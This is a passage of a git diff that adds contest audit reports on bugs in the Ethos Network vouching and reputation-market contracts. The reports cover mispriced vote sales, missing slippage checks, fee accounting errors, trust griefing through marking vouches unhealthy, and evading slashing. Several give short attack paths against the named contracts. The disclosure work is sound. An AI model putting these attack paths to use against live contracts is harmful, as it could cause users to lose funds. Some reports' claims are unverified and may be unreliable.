distrust vote = 1000 and the `market.basePrice` = 0.01 ether , totalVotes = 2000. +3 - The `votePrice` should be calculated with 1000 trust votes but it calculated after reducing with 1 vote. +4 - Now on the first iteration we will end up getting = 999 * 0.01 / 2000 = 0.004995 ether. +5 - Note that for each subsequent iteration the 1 vote will be less in user's votes balance to calculate `votePrice`. + +### Mitigation + +```diff +while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } ++ fundsReceived += votePrice; + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); +- fundsReceived += votePrice; + votesSold++; + } +``` \ No newline at end of file diff --git a/546.md b/546.md new file mode 100644 index 0000000..9266995 --- /dev/null +++ b/546.md @@ -0,0 +1,59 @@ +Orbiting Brown Cricket + +High + +# Certain Ethos Profiles will not be albe to claim rewards. + +### Summary + +In EthosVouch contract valid profiles can vouch for another profiles if they meet certain criterias. + +```javascript + // you may not vouch for archived profiles + // however, you may vouch for verified AND mock profiles + // we allow vouching for mock profiles in case they are later verified + if (archived || (!mock && !verified)) { + revert InvalidEthosProfileForVouch(subjectProfileId); + } +``` + +The profile that the users can vouch for has to: be non archived, can be mock if they are later verified or be verified. + +The issue is that the mock profiles that the users can vouch for can't claim their rewards. + +### Root Cause + +We can see that users can vouch for mock profiles: + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L361-L366 + +In `claimRewards` function there is a check that prevents mock profiles from claiming rewards. We can also see the comment: + +`// Only check that this is a real profile (not mock) and was verified at some point` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L672-L675 + +### Internal pre-conditions + +1. User has to have valid mock Ethos Profile. +2. User must have rewards greater than 0. + +### External pre-conditions + +None + +### Attack Path + +None + +### Impact + +User can't claim rewards which leads to loss of funds. + +### PoC + +None + +### Mitigation + +Modify the code so that mock profiles can claim earned rewards. \ No newline at end of file diff --git a/547.md b/547.md new file mode 100644 index 0000000..4c4bb10 --- /dev/null +++ b/547.md @@ -0,0 +1,55 @@ +Attractive Chrome Squid + +High + +# Incorrect Accounting of `marketFunds[profileId]` Leads to Insufficient Funds for Withdrawals via `withdrawGraduatedMarketFunds()` + +### Summary + +The accounting mechanism of the contract where users are unable to withdraw their funds due to incorrect accounting of `marketFunds[profileId]`. + +### Root Cause +The root cause of the issue is that the `protocolFee` and `donation` are not deducted from `marketFunds[profileId]`, leading to a discrepancy between the recorded funds and the actual contract balance. + +Affected code: +ReputationMarket.sol#L481 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User sends 10 ETH to buy votes. + * `protocolFee` = 1 ETH, `donation` = 1 ETH + * `fundsPaid` = 10 ETH + * `applyFees` deducts 2 ETH (1 ETH protocol fee + 1 ETH donation) and sends them to respective addresses. + * `marketFunds[profileId]` += 10 ETH +2. Accounting after buying votes + * `marketFunds[profileId]` == 10 ETH + * Actual contract balance == 8 ETH because 2 ETH were sent to respective addresses already. +3. User attempts to withdraw funds + * User calls `withdrawGraduatedMarketFunds()` + * The function attempts to withdraw 10 ETH (as recorded in marketFunds). + * The contract only has 8 ETH available. + * The `_sendEth()` function fails due to insufficient funds. + +### Impact + +1. Users will unable to withdraw funds due to insufficient funds caused by incorrect accounting of `marketFunds[profileId]` via `withdrawGraduatedMarketFunds()` + +2. This function deducts `fundsReceived` from `marketFunds`. If `marketFunds` is overstated, this deduction may not accurately reflect the actual funds available, potentially leading to inconsistencies. + +### PoC + +_No response_ + +### Mitigation + +We recommend removing the protocol fee and donation from the `marketFunds[profileId]` in `buyVotes()` function to ensure accurate accounting and prevent withdrawal failures. \ No newline at end of file diff --git a/548.md b/548.md new file mode 100644 index 0000000..2fad680 --- /dev/null +++ b/548.md @@ -0,0 +1,81 @@ +Proud Chartreuse Whale + +High + +# Lack of slippage protection during selling of votes will cause loss to the users + +### Summary + +ReputationMarket.sellVotes() doesnt have any slippage protection implemented and it can cause users to sell at lower prices that expected and cause loss to users, especially in highly volatile markets like markets with default configs + +### Root Cause + +```Solidity +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds + marketFunds[profileId] -= fundsReceived; + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesSold, + fundsReceived, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } +``` +[RepoLink](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534) + +ReputationMarket.sellVotes() lacks any slippage protection and users votes will be sold at far lower prices than the user expects and cause fund loss to users. The default configured markets especially have highly volatile pricings and proper slippage protection is necessary . + + +### Attack Path + +Suppose the user decides to sell 100 votes when the price is around 0.07ETH and before the particular sell transaction gets executed the price rapidly drops to 0.03 ETH , then the user will get far less than expected and will suffer loss + +### Impact + +Lack of any slippage protection causes users votes to be sold at far lower prices than the user expects and cause fund loss to users + + +### Mitigation + +Implement a proper slippage protection similar to buyVotes(): + +```Solidity +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 expectedAmount, + uint256 slippageBasisPoints + ) public whenNotPaused activeMarket(profileId) nonReentrant { +``` + diff --git a/549.md b/549.md new file mode 100644 index 0000000..efaa7e3 --- /dev/null +++ b/549.md @@ -0,0 +1,105 @@ +Faint Satin Yeti + +Medium + +# ReputationMarket::_calculateSell returns incorrect maxPrice + +### Summary + +The `_calculateSell` function returns incorrectly calculated `maxPrice` when a user sells votes. +Here is where the in incorrect value is returned: + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1044 + +### Root Cause + +Here is the incorrect code: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1026-L1029 + +In the beginning of the function the `votePrice` is calculated with `_calcVotePrice` then shortly after the total number of votes is decreased on line #1036 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1036 + +Thus, the actual max price will be the next calculated price on line #1037 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1037 + +Then the incorrect max price for a vote will be incorrect. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Incorrect `maxPrice` is returned from the `_calculateSell` function. + +### PoC + +Import hardhat console into the `ReputationMarket.sol` contract: +```solidity +//@audit added +import "hardhat/console.sol"; +``` + +Add the following loggers after line #1042 +```solidity + console.log("The total selling funds received is:", fundsReceived); + console.log("The maxVotePrice when selling is:", maxPrice); + console.log("The min vote price is: ", minPrice); + console.log("The number of votes sold is:", votesSold); +``` +Paste the following test into the `rep.market.test.ts` + +```typescript + it('The max price is incorrect is _calculateBuy', async () => { + const { fundsPaid } = await userA.buyOneVote(); + const { fundsReceived } = await userA.sellOneVote(); + }); +``` +After running the test you will get an output like this +![Screenshot 2024-12-05 at 7 44 39 PM](https://github.com/user-attachments/assets/68eb6f7e-9b1f-4a1e-af89-f256ed5f53db) + +```shell + ReputationMarket +The total selling funds received is: 5000000000000000 +The maxVotePrice when selling is: 6666666666666666 +The min vote price is: 5000000000000000 +The number of votes sold is: 1 +``` + +If a user is selling a ONE vote then the max, min, and funds received should all be the same. However, you can see the `maxPrice` is different and incorrect it should be `5000000000000000` + + + + +### Mitigation + +Make the following changes to the `ReputationMarket::_calculateSell` function + +```diff ++ market.votes[isPositive ? TRUST : DISTRUST] -= 1; + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 maxPrice = votePrice; + uint256 minPrice; + + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + +- market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); + fundsReceived += votePrice; + votesSold++; ++ market.votes[isPositive ? TRUST : DISTRUST] -= 1; + } + +``` \ No newline at end of file diff --git a/550.md b/550.md new file mode 100644 index 0000000..9269534 --- /dev/null +++ b/550.md @@ -0,0 +1,47 @@ +Orbiting Brown Cricket + +High + +# Protocol allows marking every vouch unhealthy which allows and attacker to lower profile's trust which can lead to loss of funds. + +### Summary + +The documentation describes the mutual vouch scenario. In this scenario when two profiles vouch for each other and later one of the accounts unvouch, then this vouch can be marked as unhealthy. The issue is that in current implementation, every vouch can be marked as unhealthy. Profiles don't have to be mutually vouched for the vouch to be marked unhealthy. This allows an attacker to lower the profiles trust and ruin thier reputation. When profile has very low trust and bad reputation it can cause a financial problems as users are expected to make financial decisions based on profile's trust. + +### Root Cause + +We can see that, in `markUnhealthy` function, every vouch can be mark unhealhty. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L496-L510 + +### Internal pre-conditions + +1. The attacker needs to vouch for a profile +2. Then the attacker can unvouch from the profile and mark the vouch unhealthy + +### External pre-conditions + +None + +### Attack Path + +1. The attacker has to vouch +2. The attacker has to unvouch and mark the vouch unhealthy +3. He can repeat that process over and over again leading to lower trust (marking unhealthy lowers profile's trust). +4. Victim's profile trust will be lowered into state in which other users will unvouch from that profile (or stop them from vouching or stop them making any other financial decision based on profiles trust) profile and it can lead to financial losses as lower trust might cause financial problem for that profile. + +### Impact + +An attacker can lower user's trust by repeatedly vouching, unvouching and marking vouches unhealty. This will lead to avalanche decline in trust. This can cause financial problems for that profile. + +Other users will not vouch for that profile and that profile will not earn DONATION fees. + +As a result the lowering reputation can be used to game the market created by that profile in `ReputationMarket` contract. An attacker can manipulate the profiles trust and earn money on that event. In `ReputationMarket` the participants can buy `TRUST` and `DISTRUST` votes. The attacker has an incentive in marking the vouches unhealthy. + +### PoC + +The `markUnhealthy` function allows marking every vouch unhealthy. + +### Mitigation + +Implement the expected functionaliy in which only when the mutual unvouch has happen the vouch can be marked unhealthy. \ No newline at end of file diff --git a/551.md b/551.md new file mode 100644 index 0000000..42b6079 --- /dev/null +++ b/551.md @@ -0,0 +1,39 @@ +Orbiting Brown Cricket + +Medium + +# The 72 grace period is not implemented which can allow multiple slashing in a very short time. + +### Summary + +The slashed profile should be protected by 72 hour grace period after it was slashed. However in current implementation the profile can be slashed multiple times in a very short time which will harm the slashed profile. + +### Root Cause + +The `slash` function does not offer 72 hours grace period. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L520-L555 + +### Internal pre-conditions + +None + +### External pre-conditions + +None + +### Attack Path + +None + +### Impact + +Profile can lose much more funds than it is supposed to lose due to lack of 72 hour grace period. + +### PoC + +None + +### Mitigation + +Add 72 hour grace period into `slash` function. \ No newline at end of file diff --git a/552.md b/552.md new file mode 100644 index 0000000..591ee1f --- /dev/null +++ b/552.md @@ -0,0 +1,39 @@ +Orbiting Brown Cricket + +High + +# Slashed amount is not redistributed or sent to slashing address. + +### Summary + +When the malcious profile is slashed the slashed amount is meant to be a rewards for a whistleblower (user that indicated that the profile is suspicious). When the whistleblower is incorrect his funds are meant to be redistributed. However, in both the amount is sent to the protocol address. + +### Root Cause + +Total slashed amount is sent to protocol and not to whistleblower or not redistributed. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L547-L551 + +### Internal pre-conditions + +1. Whistleblower needs to indicate that profile is suspicious + +### External pre-conditions + +None + +### Attack Path + +None + +### Impact + +There is no incentive to report any malicious activity in the network. The whistleblower will not receive their rewards or in the second scenario the whislteblowers funds will not be redistributed. + +### PoC + +None + +### Mitigation + +Modify `slash` function in a way that it rewards or punishes the whistleblower. \ No newline at end of file diff --git a/553.md b/553.md new file mode 100644 index 0000000..2a6491c --- /dev/null +++ b/553.md @@ -0,0 +1,47 @@ +Eager Peanut Sawfish + +Medium + +# Malicious users can simply avoid slashing by immediately unvouching after an infraction + +### Summary + +Users can `unvouch` as soon as they suspect or are aware of an infraction, archiving the vouch and making it ineligible for slashing. + +### Root Cause + +Users can instantly archive, slashing is mostly used where a stake is involved just like in this protocol, and the only way to effectively implement slashing is to enable a withdrawal delay, or to delay the time required to archive a vouch. + +```solidity +// Only slash active vouches + if (!vouch.archived) { +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. user does something worthy of slashing which would cause, reputational or financial damage to the protocol and immediately calls unvouch. + +2. except the condition for slashing are unstipulated, a user will know immediately after an infraction. and can quickly pull our their funds, incuring reputational damage for the protocol and going scott free due to this line + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L534 + +### Impact + +Slashing cannot be implemented without some form of delay before unvouching. + + +### PoC + +_No response_ + +### Mitigation + +add a withdrawal(unvouching) delay to check if a user can still be slashed. \ No newline at end of file diff --git a/554.md b/554.md new file mode 100644 index 0000000..6939d57 --- /dev/null +++ b/554.md @@ -0,0 +1,38 @@ +Agreeable Ivory Baboon + +Medium + +# Insufficient Profile Verification + +### Summary + +In `vouchByAddress()` function the `profile.verifiedProfileIdForAddress(msg.sender)` method is called without checking its return value. This will make the function continue execution regardless of the verification status and allow unverified users to vouch for profiles. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L309-L320 + +### Root Cause + + +### Internal pre-conditions + +1. Function is public payable +2. Allows anyone to call the function + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Allows unauthorized users to bypass profile verification mechanisms. + +### PoC + +_No response_ + +### Mitigation + +Implement explicit validation of verifiedProfileIdForAddress() \ No newline at end of file diff --git a/555.md b/555.md new file mode 100644 index 0000000..a0aa899 --- /dev/null +++ b/555.md @@ -0,0 +1,45 @@ +Orbiting Brown Cricket + +High + +# Wrong fee calculation will lead to loss of funds for the protocol. + +### Summary + +The `calcFee` function returns incorrect amount due to wrong calculation. It will lead to loss of funds every time the fee is calculated. When protocol expects 10% fee this function will return smaller precentge of funds. + +### Root Cause + +It should calculate the fee as: + +`total.mulDiv(feeBasisPoints, BASIS_POINT_SCALE, Math.Rounding.Floor)` + +but the calculations are different: + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L975-L989 + +Let's assume that the user provides 100000000000000 (0,0001 -> minimum amount) and the protocol expects 5% TOTAL fee. The protocol should receive `5000000000000` in fees. However the `calcFee` function would return `4761904761904`. This calculations causes around `4.88%` differance in fee value. + +### Internal pre-conditions + +None + +### External pre-conditions + +None + +### Attack Path + +None + +### Impact + +Due to wrong calculation the protocol loses significant fee precentage everytime the users vouch. + +### PoC + +https://www.calculator.net/percent-calculator.html?c3par1=4761904761904&c3par2=5000000000000&ctype=3&x=Calculate#pctdifference + +### Mitigation + +Fix the fee calculation so that the protocol charges expected fee amount. \ No newline at end of file diff --git a/556.md b/556.md new file mode 100644 index 0000000..0967183 --- /dev/null +++ b/556.md @@ -0,0 +1,76 @@ +Cuddly Plum Cheetah + +Medium + +# Misaligned Market Configuration After Removal in removeMarketConfig Leads to Unexpected Market Parameters + +### Summary + +The `removeMarketConfig` function swaps the last config with the removed config's index, causing subsequent market creations to use unexpected configuration parameters. This leads to markets being created with different parameters than intended by the users. + + +### Root Cause + +When removing a config that isn't the last element, the function performs an index swap without any mechanism to maintain configuration consistency: +[ReputationMarket.sol#L403-L406](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L403-L406) + + ```js + if (configIndex != lastIndex) { + marketConfigs[configIndex] = marketConfigs[lastIndex]; +} +marketConfigs.pop(); + ``` + +### Internal pre-conditions + +Internal Pre-conditions + +1. At least 3 market configurations must exist +2. The configuration being removed must not be the last element in the array +3. Admin calls `removeMarketConfig` +4. User calls createMarketWithConfig(configIndex) +4. The configurations must have different parameters: +```js +Index 0 (Default tier): +- initialLiquidity: 0.002 ETH (2 * DEFAULT_PRICE) +- initialVotes: 1 +- basePrice: DEFAULT_PRICE + +Index 1 (Deluxe tier): +- initialLiquidity: 0.05 ETH (50 * DEFAULT_PRICE) +- initialVotes: 1000 +- basePrice: DEFAULT_PRICE + +Index 2 (Premium tier): +- initialLiquidity: 0.1 ETH (100 * DEFAULT_PRICE) +- initialVotes: 10000 +- basePrice: DEFAULT_PRICE +``` +This is a valid issue here because users expect specific parameters at specific indices when calling `createMarketWithConfig(configIndex)`. After a config removal and swap, the indices no longer match user expectations and markets might be created with unintended parameters. + +### External pre-conditions + +N/A + +### Attack Path + +1. Initial state: User expect index 1 to be Deluxe tier (0.05 ETH, 1000 votes) +2. Admin removes config at index 1 +3. Premium tier (previously at index 2) moves to index 1 +4. User calls createMarketWithConfig(1) with 0.05 ETH, expecting Deluxe tier +5. Transaction reverts due to insufficient funds (Premium tier requires 0.1 ETH) OR +6. If user sends 0.1 ETH, they get Premium tier parameters (10000 votes) instead of expected Deluxe tier (1000 votes) + + +### Impact + +Either Market creation transactions revert due to mismatched ETH amounts, OR +Markets created with unexpected initial parameters and Users get different market parameters than intended + +### PoC + +N/A + +### Mitigation + +Instead of swapping and popping, use a deletion mechanism that maintains array order or uses a mapping to ensure predictable configuration indices. \ No newline at end of file diff --git a/557.md b/557.md new file mode 100644 index 0000000..ebf9b82 --- /dev/null +++ b/557.md @@ -0,0 +1,63 @@ +Orbiting Brown Cricket + +High + +# Incorrect value used in `buyVotes` function prevents market graduation which leads to loss of funds. + +### Summary + +`buyVotes` function allows users to buy votes. User sends `msg.value` and the `_calculateBuy` function calculates the `fundsPaid` amount. Inside `_calculateBuy` the `fundsPaid` include the `protocolFee` and `donation`. The `fundsPaid` value is later added to `marketFunds` for particular profile. The issue is that the `protocolFee` will be sent to protocol address and `donation` amount can be withdraw by the market owner. As a result the `fundsPaid` added to `marketFunds` is higher than it should be. + +When the protocol want's to graduate the market they will call `graduateMarket` function. This will set market as non-active and the ability to buy or sell votes will be stopped. The issue is that when the protocol wishes to call `withdrawGraduatedMarketFunds` this call will revert because the function will try to send more funds than it currently has. As a result the funds will be stuck for that market. Users and the protocol will not be able to withdraw the ether. + + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 + +### Internal pre-conditions + +1. The market is created +2. Users buy and sell shares +3. The market is graduated +4. Funds are now permanently stuck + +### External pre-conditions + +None + +### Attack Path + +None + +### Impact + +100% ether amount associated with that market is permanently stuck in the contract. + +### PoC + +1. User calls `buyVotes` with `msg.value`. `fundsPaid` calculated in `_calculateBuy` adds protocolFee and donation. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L978 + +2. The fees are applied to recipients (protocol address and market owner). + +The fundsPaid is added to marketFunds and the protocolFee is sent to protocol address. The donation can be withdrawn. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L464 + +3. `fundsPaid` are added to `marketFunds`. The amount is greater than it should be because it includes the protocol fee which is sent out and donation which can be withdrawn. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 + +4. `graduateMarket` function can be called without any problem. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L643-L653 + +5. When `withdrawGraduatedMarketFunds` is called the transaction reverts because it tries to send more ether than is has. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L675 + +### Mitigation + +Subtract protocolFee and donation from `fundsPaid` when adding it to `marketFunds`. \ No newline at end of file diff --git a/558.md b/558.md new file mode 100644 index 0000000..7daf592 --- /dev/null +++ b/558.md @@ -0,0 +1,43 @@ +Orbiting Brown Cricket + +High + +# No slippage protection in `sellVotes` function can lead to loss of funds for the seller. + +### Summary + +`sellVotes` function is used to sell votes bought by the users. The user specifies the amount of the votes he wishes to sell but he is unable to provide the expected minimum price for these votes. This will lead to scenarios where users receive less ether than expected when their transaction gets placed after other sales. Due to the fact that user would receive worse price after the transaction, he might have decided not to sell with the current market condition and sell the votes for a better price later. + +Missing slippage protection leads to loss of funds when user's transaction gets placed after other sales. The seller will not receive expected payment for the sold votes. + +### Root Cause + +The `sellVotes` function does not have slippage protection implemented. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534 + + +### Internal pre-conditions + +1. User needs to buy votes in `ReputationMarket` + +### External pre-conditions + +1. 3 other users decide to sell votes +2. The user decides to sell thinking he will get the expected price for the votes, however the 3 other transaction will be executed before his and the ether amount that the user receives will be much smaller + +### Attack Path + +None + +### Impact + +The user will lose ether after selling votes. It is important to note that it is not a front-running issue but transaction ordering issue. Depending on how the transactions are ordered the result of the transaction is different. + +### PoC + +The `sellVotes` function does not have slippage protection implemented. Please look at root cause and external pre-conditions. + +### Mitigation + +Add slippage protection to `sellVotes` function. \ No newline at end of file diff --git a/559.md b/559.md new file mode 100644 index 0000000..da6bbf6 --- /dev/null +++ b/559.md @@ -0,0 +1,74 @@ +Orbiting Brown Cricket + +High + +# User will lose ether due to wrong `_calculateSell` function implementation. + +### Summary + +`_calculateSell` function is used in `sellVotes` function to calculate the current price the user should receive for selling the vote. The issue is that this function does not apply the first (and also the highest) price for the vote into user's account. As a result the user will not receive the expected payment for the votes that he sells. + +### Root Cause + +We can see that the first price is calculated in `_calculateSell`. + +`uint256 votePrice = _calcVotePrice(market, isPositive);` + +But later it is overriden by anoter calculation. This newly calculated price is smaller because it is calculated when the amount of votes is already decreased by 1. Total votes matter in price calculation. The first calculated price (also the highest) is not added to user's balance. + +```solidty + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); + fundsReceived += votePrice; + votesSold++; +``` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1026-L1040 + +### Internal pre-conditions + +1. User needs to buy votes +2. Then the user needs to sell the votes + +### External pre-conditions + +None + +### Attack Path + +None + +### Impact + +User will not receive the expected amount for the votes leading to loss of funds. The first price calculated is a valid price for the sold vote however it will be overriden by new smaller price. + +### PoC + +Let's assume current state: + +TRUST votes = 10 +DISTRUST votes = 10 +Base price = 0.01 ether + +User wants to sell one TRUST vote. + +$ {0.01 * 10} \over 20$ $ = 0.005 $ + +User should receive 0.005 for that vote. In current implementation the user will receive. + +$ {0.01 * 9} \over 19$ $ ~= 0.0047 $ + +The difference is around `6%`. + +https://www.calculator.net/percent-calculator.html?c3par1=0.0047&c3par2=0.005&ctype=3&x=Calculate#pctdifference + +### Mitigation + +First calculate the price and then subtract the vote count. + +```solidty + votePrice = _calcVotePrice(market, isPositive); + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + fundsReceived += votePrice; + votesSold++; +``` \ No newline at end of file diff --git a/560.md b/560.md new file mode 100644 index 0000000..bb6a887 --- /dev/null +++ b/560.md @@ -0,0 +1,44 @@ +Keen Oily Snake + +Medium + +# Lack of slippage protection in `sellVotes` function of `ReputationMarket.sol` could lead to undesired outcomes for vote sellers + +### Summary + +The [`sellVotes`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534) function in the [`ReputationMarket.sol`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol) contract lacks slippage protection, which could result in users receiving fewer funds than anticipated when selling votes. While the [`buyVotes`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L493) function implements a slippage protection mechanism to safeguard users, this protection is absent in [`sellVotes`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534). Consequently, vote sellers may face undesirable outcomes. + +### Root Cause + +No slippage protection in the [`sellVotes`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534) function. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Consider that Alice wants to sell some of her TRUST votes, and Bob wants to buy some DISTRUST votes: + +1. Bob's transaction is executed first. +2. The price of DISTRUST votes increases, and the price of TRUST votes decreases. +3. Alice's transaction is executed afterward. +4. Alice sells her TRUST votes at a lower rate and receives fewer funds. + +If Alice had slippage protection, she could safeguard herself from selling her votes at a lower rate and receiving fewer funds than desired. + +### Impact + +The absence of a slippage protection mechanism in the [`sellVotes`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534) function could lead to users receiving fewer funds than expected when selling votes. + +### PoC + +_No response_ + +### Mitigation + +Consider adding slippage protection in the [`sellVotes`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534) function, similar to the [`buyVotes`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L493) function, so users can protect themselves against undesired outcomes when selling votes. \ No newline at end of file diff --git a/561.md b/561.md new file mode 100644 index 0000000..48350f3 --- /dev/null +++ b/561.md @@ -0,0 +1,39 @@ +Orbiting Brown Cricket + +High + +# User can avoid paying fees in `ReputationMarket` + +### Summary + +The `ReputationMarket` is going to be depolyed on Base L2 blockchain. Users can't affect the transaction ordering. The reputation market does not set up fees values in `initializer`. There is a possibility that a user will interact with the smart contract right after deployment and use the current contract state to avoid paying fees. + +### Root Cause + +We can see that no fees are set in initializer. User can freely interact with the contract when fees are not set up. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L201-L254 + +### Internal pre-conditions + +1. No fees are set up using setter functions + +### External pre-conditions + +1. User's transaction get's placed BEFORE admin's transaction setting up the fees + +### Attack Path + +None + +### Impact + +Protocol losses 100% of the fees. + +### PoC + +None + +### Mitigation + +Set up the fees in the `initialize` function. \ No newline at end of file diff --git a/562.md b/562.md new file mode 100644 index 0000000..34b6cf7 --- /dev/null +++ b/562.md @@ -0,0 +1,172 @@ +Kind Eggplant Condor + +Medium + +# Corruptible Upgradibility Pattern in EthosVouch and ReputationMarket + +### Summary + +The usage of non-upgradeable `ReentrancyGuard` may introduce storage collissions if either the `EthosVouch` or `ReputationMarket` contract gets upgraded. + + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L11 + +### Root Cause + +Currently, OpenZeppelin has 2 reentrancy guard contracts: +- https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/utils/ReentrancyGuardUpgradeable.sol +- https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol +As of now, the latter one (non-upgradeable) is used in the `EthosVouch` and `ReputationMarket` contracts. + +### Internal pre-conditions + +Either of the aforementioned contracts gets upgraded. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The project’s inheritance hierarchy is complex and extensively leverages multiple inheritance rather than a simple linear structure. This, combined with a reliance on proxy contracts for deployment, means that updating base contracts will be challenging, if not impossible. Further complicating this is the mixture of non-upgradable and upgradable base contracts from OpenZeppelin; some are from the standard OpenZeppelin library and define their own contract-level variables without supporting upgradability. + +These factors create a fragmented upgradeability model, which may lead to significant issues when performing contract upgrades. Updating underlying contracts may lead to inconsistencies in the data stored in the proxy contract storage. + +### PoC + +This is the inheritance UML diagram of the `ReputationMarket` contract. The inheritance layout of the 